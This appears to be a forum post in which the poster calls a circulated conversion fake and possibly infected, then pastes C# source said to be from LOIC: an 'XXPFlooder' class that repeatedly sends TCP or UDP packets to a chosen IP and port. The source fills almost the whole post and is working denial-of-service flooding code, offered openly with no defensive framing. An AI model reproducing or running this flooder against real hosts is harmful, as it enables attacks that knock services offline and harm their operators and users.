Because simply it's fake, probably he inserted some viruses in it, dunno and I dont care.
You can't convert everything from Java/C#/C++ to vb.net.
And just to be sure(if a Java/C#/C++, vb.net developer can confirm it), here is the source code of it:
using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace LOIC
{
public class XXPFlooder
{
public bool IsFlooding;
public int FloodCount;
public string IP;
public int Port;
public int Protocol;
public int Delay;
public bool Resp;
public string Data;
private bool AllowRandom;
public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
this.IP = ip;
this.Port = port;
this.Protocol = proto;
this.Delay = delay;
this.Resp = resp;
this.Data = data;
this.AllowRandom = random;
}
public void Start()
{
IsFlooding = true;
BackgroundWorker bw = new BackgroundWorker();
bw.DoWork += new DoWorkEventHandler(bw_DoWork);
bw.RunWorkerAsync();
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
byte[] buf;
IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
Socket socket = null;
if (Protocol == 1)
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.NoDelay = true;
try { socket.Connect(RHost); }
catch { continue; }
socket.Blocking = Resp;
try
{
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
}
if (Protocol == 2)
{
socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
socket.Blocking = Resp;
try
{
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) ));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
}
catch { }
}
}
}
catch { }
}
}
}